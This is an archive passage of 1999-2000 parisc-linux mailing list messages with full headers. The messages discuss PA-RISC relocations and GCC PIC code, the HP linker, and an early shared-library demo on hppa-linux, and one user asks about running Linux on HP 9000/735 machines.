> I'll install a slightly modified version of your patch.  The other PLABEL
> relocs should be handled as for PLABEL32, not that it matters for gcc
> output as I've never caught gcc generating code that used PLABEL14R and
> PLABEL21L.  A pity, because current gcc PIC code for handling function
> pointers is rather inefficient.  Typically, you get something like:
> 
> .LC1:
>         .word P'bar
> .
> .
>         addil LT'.LC1,%r19
>         ldw RT'.LC1(%r1),%r22
>         ldw 0(%r22),%r22
> 
> which could all be replaced with
> 
> 	ldil LP'bar,%r22
> 	ldo RP'bar(%r22),%r22
> 
> saving on code size, memory accesses, and relocs.

Interesting.  It would be trivial to hack that into GCC, I just wonder
if there's some good reason it hasn't been done before.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Millicode calls, GP register, ld -r
Date: Sat, 12 Aug 2000 12:07:56 -0400 (EDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <200008121607.MAA08061@hiauly1.hia.nrc.ca>
References: <87punemrk8.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619045 2205 80.91.229.3 (22 Nov 2014 01:17:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:25 +0000 (UTC)
Cc: alan@linuxcare.com.au, parisc-linux@thepuffingroup.com,
        parisc@lists.linuxcare.com
To: dhd@linuxcare.com (David Huggins-Daines)
Original-X-From: dave@hiauly1.hia.nrc.ca  Sat Aug 12 16:07:52 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA19377
	for <parisc-linux@puffin.external.hp.com>; Sat, 12 Aug 2000 16:07:52 -0600
Original-Received: (qmail 22731 invoked by uid 15267); 12 Aug 2000 16:08:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22724 invoked from network); 12 Aug 2000 16:08:05 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 12 Aug 2000 16:08:05 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id MAA08061;
	Sat, 12 Aug 2000 12:07:57 -0400 (EDT)
In-Reply-To: <87punemrk8.fsf@linuxcare.com> from "David Huggins-Daines" at Aug 12, 2000 11:23:35 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:7690

> Alan Modra <alan@linuxcare.com.au> writes:
> 
> > I'll install a slightly modified version of your patch.  The other PLABEL
> > relocs should be handled as for PLABEL32, not that it matters for gcc
> > output as I've never caught gcc generating code that used PLABEL14R and
> > PLABEL21L.  A pity, because current gcc PIC code for handling function
> > pointers is rather inefficient.  Typically, you get something like:
> > 
> > .LC1:
> >         .word P'bar
> > .
> > .
> >         addil LT'.LC1,%r19
> >         ldw RT'.LC1(%r1),%r22
> >         ldw 0(%r22),%r22
> > 
> > which could all be replaced with
> > 
> > 	ldil LP'bar,%r22
> > 	ldo RP'bar(%r22),%r22
> > 
> > saving on code size, memory accesses, and relocs.
> 
> Interesting.  It would be trivial to hack that into GCC, I just wonder
> if there's some good reason it hasn't been done before.

The HP linker `-O' option eliminates unnecessary ADDIL instructions and
dead procedures.  Probably, it wasn't deemed necessary.  However, not
many remember to include -Wl,-O in their link flags.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:13:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Millicode calls, GP register, ld -r
Date: 12 Aug 2000 12:29:31 -0400
Organization: Linuxcare, Inc.
Lines: 19
Approved: news@gmane.org
Message-ID: <87itt6moic.fsf@linuxcare.com>
References: <200008121607.MAA08061@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619045 2207 80.91.229.3 (22 Nov 2014 01:17:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:25 +0000 (UTC)
Cc: alan@linuxcare.com.au, parisc-linux@thepuffingroup.com,
        parisc@lists.linuxcare.com
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: dhd@linuxcare.com  Sat Aug 12 16:29:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA19681
	for <parisc-linux@puffin.external.hp.com>; Sat, 12 Aug 2000 16:29:29 -0600
Original-Received: (qmail 2711 invoked by uid 15267); 12 Aug 2000 16:29:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2703 invoked from network); 12 Aug 2000 16:29:46 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 12 Aug 2000 16:29:46 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13NeA7-0005kn-00; Sat, 12 Aug 2000 12:29:31 -0400
In-Reply-To: "John David Anglin"'s message of "Sat, 12 Aug 2000 12:07:56 -0400 (EDT)"
Original-Lines: 18
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7691

"John David Anglin" <dave@hiauly1.hia.nrc.ca> writes:

> The HP linker `-O' option eliminates unnecessary ADDIL instructions

Yes, currently our code generation is absolute crap, because we are
using ADDIL+LDO sequences for absolutely every DP or DLT
relative/indirect access.

Other BFD and GCC targets have optimizations to use 'short' data, bss,
got, and sometimes plt sections when possible.  Long term I would
really like to implement this for hppa-linux.

I'm not at all sure how this is done though - can anyone point me to
some code or documentation that explains it?

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Millicode calls, GP register, ld -r
Date: Sat, 12 Aug 2000 12:13:00 -0600
Lines: 38
Approved: news@gmane.org
Message-ID: <6983.966103980@upchuck>
References: <87punemrk8.fsf@linuxcare.com>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619045 2208 80.91.229.3 (22 Nov 2014 01:17:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:25 +0000 (UTC)
Cc: Alan Modra <alan@linuxcare.com.au>, parisc-linux@thepuffingroup.com,
        parisc@lists.linuxcare.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: law@upchuck.cygnus.com  Sat Aug 12 18:13:47 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA20898
	for <parisc-linux@puffin.external.hp.com>; Sat, 12 Aug 2000 18:13:46 -0600
Original-Received: (qmail 2458 invoked by uid 15267); 12 Aug 2000 18:14:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2448 invoked from network); 12 Aug 2000 18:14:00 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 12 Aug 2000 18:14:00 -0000
Original-Received: from upchuck.cygnus.com (cse.cygnus.com [205.180.230.236])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id LAA21886
	for <parisc-linux@thepuffingroup.com>; Sat, 12 Aug 2000 11:13:58 -0700 (PDT)
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id MAA06986;
	Sat, 12 Aug 2000 12:13:01 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of 12 Aug 2000 11:23:35 EDT.
             <87punemrk8.fsf@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7692

  In message <87punemrk8.fsf@linuxcare.com>you write:
  > Alan Modra <alan@linuxcare.com.au> writes:
  > 
  > > I'll install a slightly modified version of your patch.  The other PLABEL
  > > relocs should be handled as for PLABEL32, not that it matters for gcc
  > > output as I've never caught gcc generating code that used PLABEL14R and
  > > PLABEL21L.  A pity, because current gcc PIC code for handling function
  > > pointers is rather inefficient.  Typically, you get something like:
  > > 
  > > .LC1:
  > >         .word P'bar
  > > .
  > > .
  > >         addil LT'.LC1,%r19
  > >         ldw RT'.LC1(%r1),%r22
  > >         ldw 0(%r22),%r22
  > > 
  > > which could all be replaced with
  > > 
  > > 	ldil LP'bar,%r22
  > > 	ldo RP'bar(%r22),%r22
  > > 
  > > saving on code size, memory accesses, and relocs.
  > 
  > Interesting.  It would be trivial to hack that into GCC, I just wonder
  > if there's some good reason it hasn't been done before.
"inline plabels" used to be in GCC, but were removed a few years ago; they
were abolished roughly 4 years ago.

My recollection was that the inline plabel sequence needed for MPE was 
actually less efficient than getting the value out of memory.   And
HP didn't believe the benefit from having an inline sequence for the HPUX
calling conventions was worth the extra maintenance burden in their
compiler.  GCC (of course) followed HP's recommendations and abolished
inline plabels.

jeff


From - Thu Nov 08 21:13:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] syscall work
Date: Thu, 25 Mar 1999 13:27:27 -0800 (PST)
Lines: 22
Approved: news@gmane.org
Message-ID: <199903252127.NAA22126@bart.allegro.com>
References: <36FAA595.DB56B012@netscape.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619045 2210 80.91.229.3 (22 Nov 2014 01:17:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:25 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: sieler@bart.allegro.com  Thu Mar 25 16:27:51 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id QAA29050
	for <hppa-linux@sod.res.cmu.edu>; Thu, 25 Mar 1999 16:27:51 -0500
Original-Received: (qmail 17369 invoked by uid 15267); 25 Mar 1999 21:26:32 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 17359 invoked from network); 25 Mar 1999 21:26:31 -0000
Original-Received: from unknown (HELO bart.allegro.com) (198.102.6.10)
  by mailserv2.iuinc.com with SMTP; 25 Mar 1999 21:26:31 -0000
Original-Received: (from sieler@localhost)
	by bart.allegro.com (8.9.1/8.9.1) id NAA22126
	for hppa-linux@thepuffingroup.com; Thu, 25 Mar 1999 13:27:28 -0800
In-Reply-To: <36FAA595.DB56B012@netscape.com> from "Mike Shaver" at Mar 25, 99 04:07:33 pm
X-Mailer: ELM [version 2.4 PL24]
Xref: news.gmane.org gmane.linux.ports.parisc:7693

Mike writes:
> Anyone know what manual they're talking about?  I'd like to find out
> what to do for syscalls that take more than 4 arguments, like mmap and
> recvfrom and sendto.

Sounds like the HP-UX Application Binary Interface (or
was it the Application Programming Interface...two different manuals) from the
Precision RISC Organization (or, more exactly,
from HP...but developed for PRO) would be quite useful.  It (the
one that discusses system calls) may provide some
info about where parameters go.

Unfortunately, I'm miles away from my copy.  Maybe someone
from HP can comment on the manual?

BTW, I like the different gateway address better than the different range.
 

-- 
Stan Sieler                                          sieler@allegro.com
                                     http://www.allegro.com/sieler.html


From - Thu Nov 08 21:13:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Just felt like sharing...  (no pun intended)
Date: 12 Aug 2000 15:11:09 -0400
Organization: Linuxcare, Inc.
Lines: 68
Approved: news@gmane.org
Message-ID: <878zu2mh0y.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619046 2217 80.91.229.3 (22 Nov 2014 01:17:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:26 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Sat Aug 12 19:10:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA21549
	for <parisc-linux@puffin.external.hp.com>; Sat, 12 Aug 2000 19:10:58 -0600
Original-Received: (qmail 2314 invoked by uid 15267); 12 Aug 2000 19:11:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2299 invoked from network); 12 Aug 2000 19:11:15 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 12 Aug 2000 19:11:15 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13NggX-0007PW-00
	for <parisc-linux@thepuffingroup.com>; Sat, 12 Aug 2000 15:11:09 -0400
Original-Lines: 67
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7694

[dhd@tarwebok] ~/src/parisc$ cat libhello.c
int foo(int bar)
{
	return bar + 42;
}

[dhd@tarwebok] ~/src/parisc$ cat hello-shared.c 
int main()
{
	extern int foo(int bar);
	int (*gar)(int) = foo;
	printf("Hello shared library world!\n");
	printf("The answer is %d, or maybe %d\n", foo(0), (*gar)(0));
	return 0;
}
[dhd@tarwebok] ~/src/parisc$ hppa-linux-gcc -fPIC -shared -o /home/nfsroot/parisc/libhello.so libhello.c 
[dhd@tarwebok] ~/src/parisc$ hppa-linux-gcc -o /home/nfsroot/parisc/hello-shared hello-shared.c /usr/local/lib/gcc-lib/hppa-linux/2.96/libgcc.a -L/home/nfsroot/parisc -lhello

(... and, over on the serial console window ...)

# uname -a
Linux 10.160.240.101 2.3.99-pre8 #230 Fri Aug 11 13:59:53 EDT 2000 parisc unknown
# ls -l ld.so
-rwxr-xr-x    1 1000     103        405189 Aug 12 18:58 ld.so
# ./ld.so
Usage: ld.so [OPTION]... EXECUTABLE-FILE [ARGS-FOR-PROGRAM...]
You have invoked `ld.so', the helper program for shared library executables.
This program usually lives in the file `/lib/ld.so', and special directives
in executable files using ELF shared libraries tell the system's program
loader to load the helper program from this file.  This helper program loads
the shared libraries needed by the program executable, prepares the program
to run, and runs it.  You may invoke this helper program directly from the
command line to load and run an ELF executable file; this is like executing
that file itself, but always uses this helper program from the file you
specified, instead of the helper program file specified in the executable
file you run.  This is mostly of use for maintainers to test new versions
of this helper program; chances are you did not intend to run this program.

  --list                list all dependencies and how they are resolved
  --verify              verify that given object really is a dynamically linked
                        object we can handle
  --library-path PATH   use given PATH instead of content of the environment
                        variable LD_LIBRARY_PATH
  --inhibit-rpath LIST  ignore RUNPATH and RPATH information in object names
                        in LIST
# ls -l hello-shared libhello.so
-rwxr-xr-x    1 1000     103       1338314 Aug 12 17:23 hello-shared
-rwxr-xr-x    1 1000     103          8486 Aug 11 19:02 libhello.so
# export LD_LIBRARY_PATH=/
# ./ld.so --list hello-shared
        libhello.so => /libhello.so (0x40001000)
# ./ld.so hello-shared
Hello shared library world!
The answer is 42, or maybe 42

There's still a lot of work to be done, of course - glibc doesn't
completely build with --enable-shared yet, and libdl.so is going to be
somewhat more challenging (luckily the IA-64 people have already
encountered some of the same issues).  Also note the kludgy way we
have to explicitly link libgcc.a, which was mentioned in a previous
thread.

I just thought this was pretty cool :-)

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dave Gilbert <gilbertd@treblig.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Just felt like sharing...  (no pun intended)
Date: Sat, 12 Aug 2000 20:22:17 +0100 (BST)
Lines: 30
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10008122018090.764-100000@tardis.home.dave>
References: <878zu2mh0y.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619046 2223 80.91.229.3 (22 Nov 2014 01:17:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:26 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: gilbertd@treblig.org  Sat Aug 12 19:24:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA21766
	for <parisc-linux@puffin.external.hp.com>; Sat, 12 Aug 2000 19:24:16 -0600
Original-Received: (qmail 10842 invoked by uid 15267); 12 Aug 2000 19:24:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10828 invoked from network); 12 Aug 2000 19:24:33 -0000
Original-Received: from neodymium.btinternet.com (194.73.73.83)
  by mailserv2.iuinc.com with SMTP; 12 Aug 2000 19:24:33 -0000
Original-Received: from [213.1.178.89] (helo=tardis)
	by neodymium.btinternet.com with esmtp (Exim 3.03 #83)
	id 13NgtN-0004bw-00; Sat, 12 Aug 2000 20:24:26 +0100
X-Sender: gilbertd@tardis.home.dave
In-Reply-To: <878zu2mh0y.fsf@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7695

On 12 Aug 2000, David Huggins-Daines wrote:

> # ./ld.so hello-shared
> Hello shared library world!
> The answer is 42, or maybe 42

Good work!
 
> There's still a lot of work to be done, of course - glibc doesn't
> completely build with --enable-shared yet, and libdl.so is going to be
> somewhat more challenging (luckily the IA-64 people have already
> encountered some of the same issues).  Also note the kludgy way we
> have to explicitly link libgcc.a, which was mentioned in a previous
> thread.

Also Linux/Alpha probably has most of the same issues solved for a long
time.

> I just thought this was pretty cool :-)

Indeed.

Dave

-- 
 ---------------- Have a happy GNU millennium! ----------------------   
/ Dr. David Alan Gilbert      | Running GNU/Linux on       |  Happy  \ 
\   gro.gilbert @ treblig.org |  Alpha, x86, ARM and SPARC |  In Hex /
 ____________________________|___ http://www.treblig.org  |________/


From - Thu Nov 08 21:13:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Just felt like sharing...  (no pun intended)
Date: 12 Aug 2000 15:58:22 -0400
Organization: Linuxcare, Inc.
Lines: 28
Approved: news@gmane.org
Message-ID: <87zomil09t.fsf@linuxcare.com>
References: <Pine.LNX.4.10.10008122018090.764-100000@tardis.home.dave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619046 2228 80.91.229.3 (22 Nov 2014 01:17:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:26 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Dave Gilbert <gilbertd@treblig.org>
Original-X-From: dhd@linuxcare.com  Sat Aug 12 19:58:18 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA22148
	for <parisc-linux@puffin.external.hp.com>; Sat, 12 Aug 2000 19:58:18 -0600
Original-Received: (qmail 30666 invoked by uid 15267); 12 Aug 2000 19:58:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30658 invoked from network); 12 Aug 2000 19:58:35 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 12 Aug 2000 19:58:35 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13NhQG-0007ZR-00; Sat, 12 Aug 2000 15:58:24 -0400
In-Reply-To: Dave Gilbert's message of "Sat, 12 Aug 2000 20:22:17 +0100 (BST)"
Original-Lines: 27
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7696

Dave Gilbert <gilbertd@treblig.org> writes:

> Good work!

Well, Alan Modra did most of the work.  Getting binutils up to snuff
was certainly a lot more complicated than writing a few lines of
assembly code in dl-machine.h :-)

> > There's still a lot of work to be done, of course - glibc doesn't
> > completely build with --enable-shared yet, and libdl.so is going to be
> > somewhat more challenging (luckily the IA-64 people have already
> > encountered some of the same issues).  Also note the kludgy way we
> > have to explicitly link libgcc.a, which was mentioned in a previous
> > thread.
> 
> Also Linux/Alpha probably has most of the same issues solved for a long
> time.

Not really, because on Alpha, function pointers are actually function
pointers, branches are longer than 256K, the linker and the assembler
know how to give you the offset from the GP to the PC, all code is
PIC, and perhaps most importantly, Digital Unix's runtime architecture
is reasonably sane ;-)

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: AJIT D BOBRA <bobra@prl.ernet.in>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 9000/735 systems....
Date: Mon, 14 Aug 2000 14:41:59 +0530
Organization: Physical Research Lab, Ahmedabad, INDIA
Lines: 62
Approved: news@gmane.org
Message-ID: <3997B7DF.41C6@prl.ernet.in>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="------------167E2781446B"
X-Trace: ger.gmane.org 1416619047 2232 80.91.229.3 (22 Nov 2014 01:17:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:27 +0000 (UTC)
Cc: ajit bobra <bobra@prl.ernet.in>
To: parisc-linux@thepuffingroup.com
Original-X-From: bobra@prl.ernet.in  Mon Aug 14 09:12:35 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA11330
	for <parisc-linux@puffin.external.hp.com>; Mon, 14 Aug 2000 09:12:34 -0600
Original-Received: (qmail 21336 invoked by uid 15267); 14 Aug 2000 09:12:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21284 invoked from network); 14 Aug 2000 09:12:50 -0000
Original-Received: from mail.prl.res.in (202.164.100.131)
  by mailserv2.iuinc.com with SMTP; 14 Aug 2000 09:12:50 -0000
Original-Received: from prlfs.prl.ernet.in (prlfs.prl.ernet.in [202.164.100.130])
	by mail.prl.res.in (8.9.3/PRLMAILV1.3) with SMTP id OAA05574
	for <parisc-linux@thepuffingroup.com>; Mon, 14 Aug 2000 14:57:11 +0530
Original-Received: from prlts2 by prlfs.prl.ernet.in (AIX 3.2/UCB 5.64/4.03)
          id AA49976; Mon, 14 Aug 2000 14:41:59 +0530
Original-Sender: bobra@prl.ernet.in
X-Mailer: Mozilla 3.0 (X11; I; AIX 2)
Xref: news.gmane.org gmane.linux.ports.parisc:7697

This is a multi-part message in MIME format.

--------------167E2781446B
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi,

	Greetings  !!

	We have three Hp 9000/735 machines running HP-UX 9.01. We are now
interested in loading LINUX on them and scrap HP-UX. What are the
chances that we can do that ?



	If we can, then Could you pl guide us step by step procedure to do that
change. We have been using LINUX on PC's.





regards.

bye




ajit bobra

--------------167E2781446B
Content-Type: text/plain; charset=us-ascii; name="myhead"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline; filename="myhead"



**********************************

Ajit D. Bobra
Astronomy & Astrophysics Division
Physical Research Laboratory
Navrangpura
Ahmedabad  380 009
INDIA

e-mail	:	bobra@prl.ernet.in
HomePage:	http://www.prl.ernet.in/~bobra

Phone	:	Off ::(91 79)  6302 129
     	:	Res ::(91 79)  6852 334
		
Fax	:	    ::(91 79)  6301 502


**********************************


--------------167E2781446B--


From - Thu Nov 08 21:13:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/735 systems....
Date: Mon, 14 Aug 2000 09:59:08 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20000814095908.K27691@vodka.thepuffingroup.com>
References: <3997B7DF.41C6@prl.ernet.in>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619047 2235 80.91.229.3 (22 Nov 2014 01:17:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:27 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: AJIT D BOBRA <bobra@prl.ernet.in>
Original-X-From: willy@thepuffingroup.com  Mon Aug 14 15:03:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA14606
	for <parisc-linux@puffin.external.hp.com>; Mon, 14 Aug 2000 15:03:47 -0600
Original-Received: (qmail 16941 invoked by uid 15267); 14 Aug 2000 15:04:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16926 invoked from network); 14 Aug 2000 15:04:06 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 14 Aug 2000 15:04:06 -0000
Original-Received: (qmail 19488 invoked from network); 14 Aug 2000 15:03:41 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 14 Aug 2000 15:03:41 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id JAA31811;
	Mon, 14 Aug 2000 09:59:08 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <3997B7DF.41C6@prl.ernet.in>; from AJIT D BOBRA on Mon, Aug 14, 2000 at 02:41:59PM +0530
Xref: news.gmane.org gmane.linux.ports.parisc:7698

On Mon, Aug 14, 2000 at 02:41:59PM +0530, AJIT D BOBRA wrote:
> 	We have three Hp 9000/735 machines running HP-UX 9.01. We are now
> interested in loading LINUX on them and scrap HP-UX. What are the
> chances that we can do that ?

depends what you want to do really.  you stand a significantly better
chance of being able to do that if all you want is to watch the machine
crash :-)

we have no intention of providing an X server (anyone want to start
working on that...?), but you should be able to try the alpha release
for the 712 on a 735 and gasp in amazement as you manage to execute
simple shell commands.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] semaphores
Date: Mon, 14 Aug 2000 12:00:46 -0400
Lines: 81
Approved: news@gmane.org
Message-ID: <20000814120046.M27691@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619047 2236 80.91.229.3 (22 Nov 2014 01:17:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:27 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Mon Aug 14 17:05:24 2000
